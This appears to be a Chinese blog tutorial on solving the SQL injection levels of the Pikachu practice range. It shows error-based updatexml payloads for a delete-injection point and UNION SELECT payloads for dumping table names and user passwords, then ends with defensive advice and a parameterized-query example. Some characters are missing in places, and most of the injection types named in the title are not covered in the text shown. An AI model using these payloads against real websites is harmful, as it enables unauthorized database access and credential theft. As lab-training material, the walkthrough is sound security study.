pikachu靶场(sql注入通关教程-下)

SQL注入攻击技术解析:delete、httpheader、盲注与宽字节注入案例

"delete注入"

1.打开网站,输入留言,然后打开抓包软件,点击删除

2.右键发送到repeater

修改id值,send

71 or updatexml (1,concat(0x7e,database()),0)

进行url编码

3.爆数据库名

4. 爆表名

71+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="pikachu")),0) 

显示不全,可以用substr函数截取,也可以用limit函数

71+or+updatexml(1,substr(concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="pikachu")),2,63),0)

5.爆列名

71+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema+%3d+'pikachu'and+table_name%3d'users')),1)
Pikachu 靶场中,SQL 注入漏洞的通关方法通常围绕着对 SQL 查询逻辑的利用展开,攻击者通过构造特定的输入来干扰 SQL 查询语句的正常执行,从而获取数据库中的敏感信息或执行未经授权的操作。以下是一些常见的通关技巧和解决方案: ### SQL 注入漏洞的利用方式 1. **判断注入点**:在输入框中输入单引号 `'`,观察页面是否报错,如果出现 SQL 语法错误,则说明存在注入点。 2. **闭合 SQL 语句**:通过添加闭合符号 `')` 或 `"`,使得原始 SQL 查询结构被破坏,并允许插入恶意 SQL 代码[^2]。 3. **使用 `ORDER BY` 爆列**:通过构造类似 `1') ORDER BY 2--+` 的查询语句,可以判断表中列的量,为后续的联合查询做准备[^2]。 4. **联合查询(UNION SELECT)**:利用 `UNION SELECT` 语句获取数据库中的其他信息,例如数据库名、表名、列名等。例如: ```sql 1') UNION SELECT 1,2,3,4--+ ``` 通过观察页面是否显示某些列的据,可以确定哪些列可以用于显示查询结果。 5. **爆破数据库信息**:一旦确定了可以显示的列,可以通过以下方式获取数据库信息: - 获取数据库名: ```sql 1') UNION SELECT 1, database(), 3, 4--+ ``` - 获取当前数据库中的表名: ```sql 1') UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema = database()--+ ``` - 获取某张表的列名: ```sql 1') UNION SELECT 1, column_name, 3, 4 FROM information_schema.columns WHERE table_name = 'users'--+ ``` - 最终获取据: ```sql 1') UNION SELECT 1, username, password, 4 FROM users--+ ``` ### 防御 SQL 注入的方法 1. **参化查询(预编译语句)**:使用化查询(如 MySQLi 或 PDO)来防止 SQL 注入,因为参化查询会将用户输入作为参处理,而不是直接拼接 SQL 语句。 2. **过滤输入**:对用户输入的内容进行严格的过滤和验证,例如使用正则表达式限制输入格式。 3. **增加 Token 验证**:对关键操作增加 Token 参,Token 值必须随机且每次都不相同,以防止 CSRF 和 SQL 注入攻击。 4. **使用 Web 应用防火墙(WAF)**:部署 WAF 可以有效拦截常见的 SQL 注入攻击模式。 5. **错误信息处理**:避免将详细的数据库错误信息直接暴露给用户,防止攻击者根据错误信息进行进一步的攻击。 ### 示例代码(使用化查询) 以下是一个使用 PHP 和 MySQLi 实现参化查询的示例: ```php $stmt = $mysqli->prepare("SELECT * FROM users WHERE name = ?"); $stmt->bind_param("s", $name); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { echo $row['username']; } ``` ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值